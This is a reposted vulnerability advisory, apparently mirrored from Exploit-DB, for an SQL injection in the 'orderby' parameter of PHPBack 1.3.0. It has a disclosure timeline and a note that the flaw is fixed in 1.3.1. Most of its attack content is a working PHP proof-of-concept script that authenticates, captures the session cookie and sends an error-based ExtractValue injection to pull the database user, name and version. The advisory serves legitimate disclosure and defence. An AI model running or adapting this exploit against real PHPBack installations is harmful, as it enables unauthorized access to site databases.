PHPBack 1.3.0 – SQL Injection

Exploit Database
121 阅读

作者： hyp3rlinx

日期： 2016-04-20
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/39711/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:http://hyp3rlinx.altervista.org/advisories/PHPBACK-v1.3.0-SQL-INJECTION.txt

Vendor:

================

www.phpback.org

Product:

================

PHPBack v1.3.0

Vulnerability Type:

===================

SQL Injection

CVE Reference:

==============

N/A

Vulnerability Details:

=====================

PHPBack v1.3.0 is vulnerable to boolean blind and error based SQL Injection in the 'orderby' parameter.

By sending SQL Injection query using MySQL XPATH function ExtractValue() we can grab information

from the errors generated.

This is useful when we get no output except MySQL errors, we can force data extraction through the error.

When using ExtractValue() function to generate error, evaluated results of our SQL query will be embedded

in query error message. Adding a colon "0x3a" to the beginning of the query will ensure parsing will always

FAIL generating an error along with our extracted data. This method only works on MySQL version >= 5.1, we can

then use SQL LIMIT function to move thru database informations.

Users should upgrade to v1.3.1

https://github.com/ivandiazwm/phpback/releases

Exploit code(s):

===============

Run from CL...

<?php

error_reporting(0);

#PHPBACK v1.3.0 ORDER BY SQL INJECTION POC

#Credit: hyp3rlinx

#ISR: apparitionsec

#Site: hyp3rlinx.altervista.org

#///////////////////////////////////////////////////////////////////

#run this BOT from CL it does following...

#1) authenticates to target

#2) SQL injection using XPATH query to create error and get output

# for current MySQL USER(), DATABASE() and VERSION()

#Supported in MySQL >= 5.1 only

#====================================================================

$email=$argv[1];

$pwd=$argv[2];

if($argc<3){

echo "PHPBack 1.3.0 SQL Injection POC\r\n";

echo "Outputs USER(), DATABASE() and VERSION() on XPATH Error!\r\n";

echo "Supported in MySQL >= 5.1 versions only\r\n";

echo "==========================================================\r\n";

echo "Enter Creds: <email> <password>\r\n";

echo "*** by hyp3rlinx *** \r\n";

exit();

}

$target="localhost";

$creds="email=$email&password=$pwd";

$fp = fsockopen("localhost", 80, $errno, $errstr, 30);

sock_chk($fp);

#authenticate

$out = "POST /phpback-1.3.0/action/login HTTP/1.0\r\n";

$out .= "Host: $target\r\n";

$out .= "Content-Type: application/x-www-form-urlencoded\r\n";

$out .= 'Content-Length: ' . strlen($creds) . "\r\n";

$out .= "Connection: Close\r\n\r\n";

fwrite($fp, $out);

fwrite($fp, $creds);

$phpsess="";

$res="";

while (!feof($fp)) {

$res .= fgets($fp, 128);

if(strpos($res,"\r\n\r\n")!==FALSE){break;}

}

$sess=get_session($fp);

function get_session($sock){

global $res;

$idx=strpos($res,"PHPSESSID");

$sess=substr($res,$idx,38);

return $sess;

}

#SQL Injection

$sql="search=1&orderby=title,extractvalue(0x0a,concat(0x0a,(select USER()), 0x0a, (select DATABASE()), 0x0a, (select VERSION())))\r\n";

$fp = fsockopen("localhost", 80, $errno, $errstr, 30);

sock_chk($fp);

$out = "POST /phpback-1.3.0/admin/ideas HTTP/1.0\r\n";

$out .= "Host: $target\r\n";

$out .= "Content-Type: application/x-www-form-urlencoded\r\n";

$out .= 'Content-Length: ' . strlen($sql) . "\r\n";

$out .= "Cookie: " . $sess."\r\n";

$out .= "Connection: Close\r\n\r\n";

fwrite($fp, $out);

fwrite($fp, $sql);

while (!feof($fp)) {

echo fgets($fp, 128);

}

fclose($fp);

function sock_chk(&$fp){

if (!$fp) {echo "Cant connect!";exit();}

}

Disclosure Timeline:

=====================================

Vendor Notification: April 17, 2016

Vendor Confirms: April 17, 2016

Vendor Release Fixed Version: April 19, 2016

April 19, 2016 : Public Disclosure

Exploitation Technique:

=======================

Remote

Severity Level:

================

Medium

Description:

==================================================

Request Method(s):[+]POST

Vulnerable Product: [+] PHPBack v1.3.0

Vulnerable Parameter(s):[+] 'orderby'

====================================================

[+] Disclaimer

Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.

The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. All content (c) hyp3rlinx.

by hyp3rlinx